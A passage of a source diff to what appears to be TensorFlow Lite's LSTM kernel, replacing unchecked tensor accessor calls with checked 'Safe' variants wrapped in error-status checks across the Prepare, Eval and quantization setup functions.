+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToForgetWeightsTensor,
+                                 &input_to_forget_weights));
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToCellWeightsTensor,
+                                 &input_to_cell_weights));
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToOutputWeightsTensor,
+                                 &input_to_output_weights));
 
   const TfLiteTensor* recurrent_to_input_weights =
       GetOptionalInputTensor(context, node, kRecurrentToInputWeightsTensor);
-  const TfLiteTensor* recurrent_to_forget_weights =
-      GetInput(context, node, kRecurrentToForgetWeightsTensor);
-  const TfLiteTensor* recurrent_to_cell_weights =
-      GetInput(context, node, kRecurrentToCellWeightsTensor);
-  const TfLiteTensor* recurrent_to_output_weights =
-      GetInput(context, node, kRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToForgetWeightsTensor,
+                                 &recurrent_to_forget_weights));
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToCellWeightsTensor,
+                                 &recurrent_to_cell_weights));
+  const TfLiteTensor* recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToOutputWeightsTensor,
+                                 &recurrent_to_output_weights));
 
   const TfLiteTensor* cell_to_input_weights =
       GetOptionalInputTensor(context, node, kCellToInputWeightsTensor);
@@ -227,7 +242,9 @@ TfLiteStatus PopulateQuantizedLstmParams8x8_16(
   std::vector<int32> intermediate_zp;
   for (int i = 0; i < 4; ++i) {
     if (use_layer_norm) {
-      const TfLiteTensor* intermediate = GetIntermediates(context, node, i);
+      TfLiteTensor* intermediate;
+      TF_LITE_ENSURE_OK(context,
+                        GetIntermediatesSafe(context, node, i, &intermediate));
       auto* params = static_cast<TfLiteAffineQuantization*>(
           intermediate->quantization.params);
       intermediate_scale.push_back(params->scale->data[0]);
@@ -240,7 +257,8 @@ TfLiteStatus PopulateQuantizedLstmParams8x8_16(
   }
   // In the absense of projection, hidden becomes otuput and this intermediate
   // is ignored.
-  const TfLiteTensor* hidden = GetIntermediates(context, node, 4);
+  TfLiteTensor* hidden;
+  TF_LITE_ENSURE_OK(context, GetIntermediatesSafe(context, node, 4, &hidden));
   auto* hidden_params =
       static_cast<TfLiteAffineQuantization*>(hidden->quantization.params);
   intermediate_scale.push_back(hidden_params->scale->data[0]);
@@ -446,24 +464,37 @@ TfLiteStatus PopulateQuantizedLstmParams8x8_8(
     TfLiteContext* context, TfLiteNode* node,
     lstm_eval::IntegerLstmParameter* integer_lstm_param) {
   // Get all tensors.
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   const TfLiteTensor* input_to_input_weights =
       GetOptionalInputTensor(context, node, kInputToInputWeightsTensor);
-  const TfLiteTensor* input_to_forget_weights =
-      GetInput(context, node, kInputToForgetWeightsTensor);
-  const TfLiteTensor* input_to_cell_weights =
-      GetInput(context, node, kInputToCellWeightsTensor);
-  const TfLiteTensor* input_to_output_weights =
-      GetInput(context, node, kInputToOutputWeightsTensor);
+  const TfLiteTensor* input_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToForgetWeightsTensor,
+                                 &input_to_forget_weights));
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToCellWeightsTensor,
+                                 &input_to_cell_weights));
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToOutputWeightsTensor,
+                                 &input_to_output_weights));
 
   const TfLiteTensor* recurrent_to_input_weights =
       GetOptionalInputTensor(context, node, kRecurrentToInputWeightsTensor);
-  const TfLiteTensor* recurrent_to_forget_weights =
-      GetInput(context, node, kRecurrentToForgetWeightsTensor);
-  const TfLiteTensor* recurrent_to_cell_weights =
-      GetInput(context, node, kRecurrentToCellWeightsTensor);
-  const TfLiteTensor* recurrent_to_output_weights =
-      GetInput(context, node, kRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToForgetWeightsTensor,
+                                 &recurrent_to_forget_weights));
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToCellWeightsTensor,
+                                 &recurrent_to_cell_weights));
+  const TfLiteTensor* recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToOutputWeightsTensor,
+                                 &recurrent_to_output_weights));
 
   const TfLiteTensor* cell_to_input_weights =
       GetOptionalInputTensor(context, node, kCellToInputWeightsTensor);
@@ -483,12 +514,15 @@ TfLiteStatus PopulateQuantizedLstmParams8x8_8(
 
   const TfLiteTensor* input_gate_bias =
       GetOptionalInputTensor(context, node, kInputGateBiasTensor);
-  const TfLiteTensor* forget_gate_bias =
-      GetInput(context, node, kForgetGateBiasTensor);
-  const TfLiteTensor* cell_gate_bias =
-      GetInput(context, node, kCellGateBiasTensor);
-  const TfLiteTensor* output_gate_bias =
-      GetInput(context, node, kOutputGateBiasTensor);
+  const TfLiteTensor* forget_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kForgetGateBiasTensor,
+                                          &forget_gate_bias));
+  const TfLiteTensor* cell_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kCellGateBiasTensor,
+                                          &cell_gate_bias));
+  const TfLiteTensor* output_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kOutputGateBiasTensor,
+                                          &output_gate_bias));
 
   const TfLiteTensor* projection_weights =
       GetOptionalInputTensor(context, node, kProjectionWeightsTensor);
@@ -774,7 +808,9 @@ TfLiteStatus PopulateQuantizedLstmParams8x8_8(
   const float cell_clip = params->cell_clip;
   const float proj_clip = params->proj_clip;
 
-  const TfLiteTensor* output_tensor = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputTensor, &output_tensor));
 
   auto* cell_state_params = reinterpret_cast<TfLiteAffineQuantization*>(
       cell_state->quantization.params);
@@ -825,8 +861,10 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
   TF_LITE_ENSURE(context, params->cell_clip >= 0);
   TF_LITE_ENSURE(context, params->proj_clip >= 0);
 
-  const TfLiteTensor* input_to_forget_weights =
-      GetInput(context, node, kInputToForgetWeightsTensor);
+  const TfLiteTensor* input_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToForgetWeightsTensor,
+                                 &input_to_forget_weights));
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->data[1], n_input);
@@ -845,8 +883,10 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
                             input_to_forget_weights->type);
   }
 
-  const TfLiteTensor* input_to_cell_weights =
-      GetInput(context, node, kInputToCellWeightsTensor);
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToCellWeightsTensor,
+                                 &input_to_cell_weights));
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->data[1], n_input);
@@ -865,8 +905,10 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
                             input_to_forget_weights->type);
   }
 
-  const TfLiteTensor* recurrent_to_forget_weights =
-      GetInput(context, node, kRecurrentToForgetWeightsTensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToForgetWeightsTensor,
+                                 &recurrent_to_forget_weights));
   TF_LITE_ENSURE_EQ(context, recurrent_to_forget_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, recurrent_to_forget_weights->dims->data[0],
                     n_cell);
@@ -875,8 +917,10 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
   TF_LITE_ENSURE_TYPES_EQ(context, recurrent_to_forget_weights->type,
                           input_to_forget_weights->type);
 
-  const TfLiteTensor* recurrent_to_cell_weights =
-      GetInput(context, node, kRecurrentToCellWeightsTensor);
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToCellWeightsTensor,
+                                 &recurrent_to_cell_weights));
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->data[1],
@@ -948,8 +992,9 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
     }
   }
 
-  const TfLiteTensor* forget_gate_bias =
-      GetInput(context, node, kForgetGateBiasTensor);
+  const TfLiteTensor* forget_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kForgetGateBiasTensor,
+                                          &forget_gate_bias));
   TF_LITE_ENSURE_EQ(context, forget_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, forget_gate_bias->dims->data[0], n_cell);
   if (is_integer) {
@@ -958,8 +1003,9 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
     TF_LITE_ENSURE_TYPES_EQ(context, forget_gate_bias->type, kTfLiteFloat32);
   }
 
-  const TfLiteTensor* cell_gate_bias =
-      GetInput(context, node, kCellGateBiasTensor);
+  const TfLiteTensor* cell_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kCellGateBiasTensor,
+                                          &cell_gate_bias));
   TF_LITE_ENSURE_EQ(context, cell_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, cell_gate_bias->dims->data[0], n_cell);
   if (is_integer) {
@@ -968,8 +1014,9 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
     TF_LITE_ENSURE_TYPES_EQ(context, cell_gate_bias->type, kTfLiteFloat32);
   }
 
-  const TfLiteTensor* output_gate_bias =
-      GetInput(context, node, kOutputGateBiasTensor);
+  const TfLiteTensor* output_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kOutputGateBiasTensor,
+                                          &output_gate_bias));
   TF_LITE_ENSURE_EQ(context, output_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, output_gate_bias->dims->data[0], n_cell);
   if (is_integer) {
@@ -1105,7 +1152,8 @@ TfLiteStatus PrecomputeZeroPointTimesWeightWithBias(
 TfLiteStatus PopulatePrecomputedZPTimesWeightsWithBias(TfLiteContext* context,
                                                        OpData* op_data,
                                                        TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   const TfLiteTensor* output_state =
       GetVariableInput(context, node, kOutputStateTensor);
   TF_LITE_ENSURE(context, output_state != nullptr);
@@ -1115,21 +1163,33 @@ TfLiteStatus PopulatePrecomputedZPTimesWeightsWithBias(TfLiteContext* context,
 
   const TfLiteTensor* input_to_input_weights =
       GetOptionalInputTensor(context, node, kInputToInputWeightsTensor);
-  const TfLiteTensor* input_to_forget_weights =
-      GetInput(context, node, kInputToForgetWeightsTensor);
-  const TfLiteTensor* input_to_cell_weights =
-      GetInput(context, node, kInputToCellWeightsTensor);
-  const TfLiteTensor* input_to_output_weights =
-      GetInput(context, node, kInputToOutputWeightsTensor);
+  const TfLiteTensor* input_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToForgetWeightsTensor,
+                                 &input_to_forget_weights));
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToCellWeightsTensor,
+                                 &input_to_cell_weights));
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToOutputWeightsTensor,
+                                 &input_to_output_weights));
 
   const TfLiteTensor* recurrent_to_input_weights =
       GetOptionalInputTensor(context, node, kRecurrentToInputWeightsTensor);
-  const TfLiteTensor* recurrent_to_forget_weights =
-      GetInput(context, node, kRecurrentToForgetWeightsTensor);
-  const TfLiteTensor* recurrent_to_cell_weights =
-      GetInput(context, node, kRecurrentToCellWeightsTensor);
-  const TfLiteTensor* recurrent_to_output_weights =
-      GetInput(context, node, kRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToForgetWeightsTensor,
+                                 &recurrent_to_forget_weights));
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToCellWeightsTensor,
+                                 &recurrent_to_cell_weights));
+  const TfLiteTensor* recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToOutputWeightsTensor,
+                                 &recurrent_to_output_weights));
 
   const TfLiteTensor* projection_weights =
       GetOptionalInputTensor(context, node, kProjectionWeightsTensor);
@@ -1254,20 +1314,25 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   // Inferring batch size, number of outputs and number of cells from the
   // input tensors.
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   const bool is_integer = input->type == kTfLiteInt8;
   TF_LITE_ENSURE(context, input->dims->size > 1);
   const int n_batch = input->dims->data[0];
   const int n_input = input->dims->data[1];
 
-  const TfLiteTensor* input_to_output_weights =
-      GetInput(context, node, kInputToOutputWeightsTensor);
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToOutputWeightsTensor,
+                                 &input_to_output_weights));
   const int n_cell = input_to_output_weights->dims->data[0];
   TF_LITE_ENSURE_EQ(context, input_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_output_weights->dims->data[1], n_input);
 
-  const TfLiteTensor* recurrent_to_output_weights =
-      GetInput(context, node, kRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToOutputWeightsTensor,
+                                 &recurrent_to_output_weights));
   TF_LITE_ENSURE_EQ(context, recurrent_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, recurrent_to_output_weights->dims->data[0],
                     n_cell);
@@ -1279,7 +1344,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                           n_cell, use_layer_norm, is_integer));
 
   // Get the pointer to output, output_state and cell_state tensors.
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TfLiteTensor* output_state =
       GetVariableInput(context, node, kOutputStateTensor);
@@ -1339,7 +1406,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   if (!is_integer) {
     node->temporaries->data[kScratchBuffer] =
         op_data->scratch_tensor_index + kScratchBuffer;
-    TfLiteTensor* scratch_buffer = GetTemporary(context, node, kScratchBuffer);
+    TfLiteTensor* scratch_buffer;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kScratchBuffer,
+                                                &scratch_buffer));
     scratch_buffer->type = input->type;
     scratch_buffer->allocation_type = kTfLiteArenaRw;
 
@@ -1367,8 +1436,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // output_state and cell_state tensors.
     node->temporaries->data[kInputQuantized] =
         op_data->scratch_tensor_index + kInputQuantized;
-    TfLiteTensor* input_quantized =
-        GetTemporary(context, node, kInputQuantized);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kInputQuantized,
+                                                &input_quantized));
     input_quantized->type = input_to_output_weights->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -1378,8 +1448,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kOutputStateQuantized] =
         op_data->scratch_tensor_index + kOutputStateQuantized;
-    TfLiteTensor* output_state_quantized =
-        GetTemporary(context, node, kOutputStateQuantized);
+    TfLiteTensor* output_state_quantized;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kOutputStateQuantized,
+                                       &output_state_quantized));
     output_state_quantized->type = input_to_output_weights->type;
     output_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(output_state_quantized->dims,
@@ -1392,8 +1464,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kCellStateQuantized] =
         op_data->scratch_tensor_index + kCellStateQuantized;
-    TfLiteTensor* cell_state_quantized =
-        GetTemporary(context, node, kCellStateQuantized);
+    TfLiteTensor* cell_state_quantized;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kCellStateQuantized,
+                                       &cell_state_quantized));
     cell_state_quantized->type = input_to_output_weights->type;
     cell_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(cell_state_quantized->dims, cell_state->dims)) {
@@ -1410,7 +1484,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // the scaling factor of the matrix).
     node->temporaries->data[kInputScalingFactors] =
         op_data->scratch_tensor_index + kInputScalingFactors;
-    TfLiteTensor* input_sf = GetTemporary(context, node, kInputScalingFactors);
+    TfLiteTensor* input_sf;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, kInputScalingFactors, &input_sf));
     input_sf->type = kTfLiteFloat32;
     input_sf->allocation_type = kTfLiteArenaRw;
     int scaling_dims[1] = {n_batch};
@@ -1422,8 +1499,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kOutputStateScalingFactors] =
         op_data->scratch_tensor_index + kOutputStateScalingFactors;
-    TfLiteTensor* output_state_sf =
-        GetTemporary(context, node, kOutputStateScalingFactors);
+    TfLiteTensor* output_state_sf;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kOutputStateScalingFactors,
+                                  &output_state_sf));
     output_state_sf->type = kTfLiteFloat32;
     output_state_sf->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(output_state_sf->dims, 1, scaling_dims)) {
@@ -1434,8 +1513,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kProductScalingFactors] =
         op_data->scratch_tensor_index + kProductScalingFactors;
-    TfLiteTensor* prod_scaling_factors =
-        GetTemporary(context, node, kProductScalingFactors);
+    TfLiteTensor* prod_scaling_factors;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kProductScalingFactors,
+                                       &prod_scaling_factors));
     prod_scaling_factors->type = kTfLiteFloat32;
     prod_scaling_factors->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(prod_scaling_factors->dims, 1,
@@ -1451,8 +1532,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // this is used for diagonal matrices, only need to store n_cell values.
     node->temporaries->data[kRecoveredCellWeights] =
         op_data->scratch_tensor_index + kRecoveredCellWeights;
-    TfLiteTensor* recovered_cell_weights =
-        GetTemporary(context, node, kRecoveredCellWeights);
+    TfLiteTensor* recovered_cell_weights;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kRecoveredCellWeights,
+                                       &recovered_cell_weights));
     recovered_cell_weights->type = kTfLiteFloat32;
     recovered_cell_weights->allocation_type = kTfLiteArenaRw;
     int recovered_cell_dims[1] = {n_cell};
@@ -1468,7 +1551,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // multiplication before multiplication by scaling factor
     node->temporaries->data[kAccumScratch] =
         op_data->scratch_tensor_index + kAccumScratch;
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, kAccumScratch);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kAccumScratch,
+                                                &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     int accum_scratch_dims[2] = {n_cell, n_batch};
@@ -1482,7 +1567,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kInputZeroPoints] =
         op_data->scratch_tensor_index + kInputZeroPoints;
-    TfLiteTensor* input_zp = GetTemporary(context, node, kInputZeroPoints);
+    TfLiteTensor* input_zp;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kInputZeroPoints, &input_zp));
     input_zp->type = kTfLiteFloat32;
     input_zp->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(input_zp->dims, 1, scaling_dims)) {
@@ -1493,8 +1580,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kOutputStateZeroPoints] =
         op_data->scratch_tensor_index + kOutputStateZeroPoints;
-    TfLiteTensor* output_state_zp =
-        GetTemporary(context, node, kOutputStateZeroPoints);
+    TfLiteTensor* output_state_zp;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kOutputStateZeroPoints,
+                                       &output_state_zp));
     output_state_zp->type = kTfLiteFloat32;
     output_state_zp->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(output_state_zp->dims, 1, scaling_dims)) {
@@ -1516,7 +1605,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
       row_sums_rows += ceil(static_cast<float>(n_output) / n_cell);
     }
 
-    TfLiteTensor* row_sums = GetTemporary(context, node, kRowSums);
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kRowSums, &row_sums));
     row_sums->type = kTfLiteInt32;
     row_sums->allocation_type = kTfLiteArenaRwPersistent;
     const int row_sums_dims[2] = {row_sums_rows, n_cell};
@@ -1664,8 +1755,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
       for (int scratch_index = 0; scratch_index < 6; ++scratch_index) {
         node->temporaries->data[scratch_index] =
             op_data->scratch_tensor_index + scratch_index;
-        TfLiteTensor* scratch_tensor =
-            GetTemporary(context, node, scratch_index);
+        TfLiteTensor* scratch_tensor;
+        TF_LITE_ENSURE_OK(
+            context,
+            GetTemporarySafe(context, node, scratch_index, &scratch_tensor));
         scratch_tensor->type = kTfLiteInt16;
         if (scratch_index == 4) {
           scratch_tensor->type = kTfLiteInt8;
@@ -1701,8 +1794,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
       for (int scratch_index = 0; scratch_index < 8; ++scratch_index) {
         node->temporaries->data[scratch_index] =
             op_data->scratch_tensor_index + scratch_index;
-        TfLiteTensor* scratch_tensor =
-            GetTemporary(context, node, scratch_index);
+        TfLiteTensor* scratch_tensor;
+        TF_LITE_ENSURE_OK(
+            context,
+            GetTemporarySafe(context, node, scratch_index, &scratch_tensor));
         if (scratch_index == 0 || scratch_index == 1) {
           scratch_tensor->type = kTfLiteInt8;
         } else {
@@ -1731,25 +1826,38 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   const auto* params = static_cast<TfLiteLSTMParams*>(node->builtin_data);
   OpData* op_data = static_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
 
   const TfLiteTensor* input_to_input_weights =
       GetOptionalInputTensor(context, node, kInputToInputWeightsTensor);
-  const TfLiteTensor* input_to_forget_weights =
-      GetInput(context, node, kInputToForgetWeightsTensor);
-  const TfLiteTensor* input_to_cell_weights =
-      GetInput(context, node, kInputToCellWeightsTensor);
-  const TfLiteTensor* input_to_output_weights =
-      GetInput(context, node, kInputToOutputWeightsTensor);
+  const TfLiteTensor* input_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToForgetWeightsTensor,
+                                 &input_to_forget_weights));
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToCellWeightsTensor,
+                                 &input_to_cell_weights));
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputToOutputWeightsTensor,
+                                 &input_to_output_weights));
 
   const TfLiteTensor* recurrent_to_input_weights =
       GetOptionalInputTensor(context, node, kRecurrentToInputWeightsTensor);
-  const TfLiteTensor* recurrent_to_forget_weights =
-      GetInput(context, node, kRecurrentToForgetWeightsTensor);
-  const TfLiteTensor* recurrent_to_cell_weights =
-      GetInput(context, node, kRecurrentToCellWeightsTensor);
-  const TfLiteTensor* recurrent_to_output_weights =
-      GetInput(context, node, kRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToForgetWeightsTensor,
+                                 &recurrent_to_forget_weights));
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToCellWeightsTensor,
+                                 &recurrent_to_cell_weights));
+  const TfLiteTensor* recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kRecurrentToOutputWeightsTensor,
+                                 &recurrent_to_output_weights));
 
   const TfLiteTensor* cell_to_input_weights =
       GetOptionalInputTensor(context, node, kCellToInputWeightsTensor);
@@ -1769,12 +1877,15 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   const TfLiteTensor* input_gate_bias =
       GetOptionalInputTensor(context, node, kInputGateBiasTensor);
-  const TfLiteTensor* forget_gate_bias =
-      GetInput(context, node, kForgetGateBiasTensor);
-  const TfLiteTensor* cell_gate_bias =
-      GetInput(context, node, kCellGateBiasTensor);
-  const TfLiteTensor* output_gate_bias =
-      GetInput(context, node, kOutputGateBiasTensor);
+  const TfLiteTensor* forget_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kForgetGateBiasTensor,
+                                          &forget_gate_bias));
+  const TfLiteTensor* cell_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kCellGateBiasTensor,
+                                          &cell_gate_bias));
+  const TfLiteTensor* output_gate_bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kOutputGateBiasTensor,
+                                          &output_gate_bias));
 
   const TfLiteTensor* projection_weights =
       GetOptionalInputTensor(context, node, kProjectionWeightsTensor);
@@ -1783,16 +1894,20 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   TfLiteTensor* output_state =
       GetVariableInput(context, node, kOutputStateTensor);
-  TF_LITE_ENSURE(context, output_state != nullptr);
+  TFLITE_DCHECK(output_state != nullptr);
   TfLiteTensor* cell_state = GetVariableInput(context, node, kCellStateTensor);
-  TF_LITE_ENSURE(context, cell_state != nullptr);
+  TFLITE_DCHECK(cell_state != nullptr);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (input_to_output_weights->type) {
     case kTfLiteFloat32: {
       // Index the scratch buffers pointers to the global scratch buffer.
-      TfLiteTensor* scratch_buffer = GetTemporary(context, node, 0);
+      TfLiteTensor* scratch_buffer;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 0, &scratch_buffer));
       return lstm_eval::EvalFloat(
           input, input_to_input_weights, input_to_forget_weights,
           input_to_cell_weights, input_to_output_weights,
@@ -1818,7 +1933,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       const bool is_hybrid = (input->type == kTfLiteFloat32);
       const bool is_sparse = input_to_output_weights->sparsity != nullptr;
       if (is_hybrid) {
-        TfLiteTensor* row_sums = GetTemporary(context, node, kRowSums);
+        TfLiteTensor* row_sums;
+        TF_LITE_ENSURE_OK(context,
+                          GetTemporarySafe(context, node, kRowSums, &row_sums));
         const int row_sums_size = row_sums->dims->data[0];
         if (is_sparse) {
           TfLiteTensor* input_to_input_weights_ledger =
